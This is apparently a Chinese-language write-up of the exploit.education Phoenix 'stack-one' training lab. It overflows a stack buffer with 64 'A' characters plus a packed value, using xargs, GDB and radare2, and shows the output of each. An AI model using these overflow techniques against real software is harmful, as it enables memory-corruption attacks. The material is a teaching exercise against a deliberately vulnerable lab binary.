/* * phoenix/stack-one, by https://exploit.education * * The aim is to change the contents of the changeme variable to 0x496c5962 * * Did you hear about the kid napping at the local school? * It's okay, they woke up. * */
if (locals.changeme == 0x496c5962) { puts("Well done, you have successfully set changeme to the correct value"); } else { printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n", locals.changeme); }
user@phoenix-amd64:~$ python -c "print 'A'*65" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA user@phoenix-amd64:~$ python -c "print 'A'*65" | /opt/phoenix/amd64/stack-one Welcome to phoenix/stack-one, brought to you by https://exploit.education stack-one: specify an argument, to be copied into the "buffer" close failed in file object destructor: sys.excepthook is missing lost sys.stderr
解决办法是用xargs命令:
1 2 3
user@phoenix-amd64:~$ python -c "print 'A'*65" | xargs /opt/phoenix/amd64/stack-one Welcome to phoenix/stack-one, brought to you by https://exploit.education Getting closer! changeme is currently 0x00000041, we want 0x496c5962
user@phoenix-amd64:~$ python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)" | xargs /opt/phoenix/amd64/stack-one xargs: WARNING: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option? Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value
其他方式
GDB
1 2 3 4 5 6 7 8
python -c "import pwn;print 'A'*64+pwn.p64(0x496c5962)" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI\x00\x00\x00\x00 user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-one gef➤ run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value [Inferior 1 (process 9358) exited normally]
或者
1 2 3 4 5 6 7
gef➤ set args AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI gef➤ run Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value [Inferior 1 (process 9363) exited normally]
radare2
1 2 3 4 5 6 7 8 9 10 11
user@phoenix-amd64:~$ r2 /opt/phoenix/amd64/stack-one [0x00400500]> ood `!python -c "import pwn;print 'A'*64+pwn.p32(0x496c5962)"` Process with PID 9383 started... File dbg:///opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI reopened in read-only mode = attach 9383 9383 Assuming filepath /opt/phoenix/amd64/stack-one [0x7ffff7dc5d34]> dc Welcome to phoenix/stack-one, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value PTRACE_EVENT_EXIT pid=9383, status=0x0 = attach 9383 1